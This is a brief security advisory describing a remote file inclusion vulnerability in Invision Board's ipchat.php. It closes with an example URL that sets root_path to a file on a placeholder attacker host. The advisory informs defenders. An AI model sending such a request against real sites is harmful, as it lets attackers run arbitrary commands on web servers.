source: https://www.securityfocus.com/bid/6976/info

Invision Board is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data used in URI parameters of certain PHP pages.

Under some circumstances, it may be possible for remote attackers to influence the include path for a global configuration file to point to an external file on a remote server.

If the remote file is a malicious file, this vulnerability may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php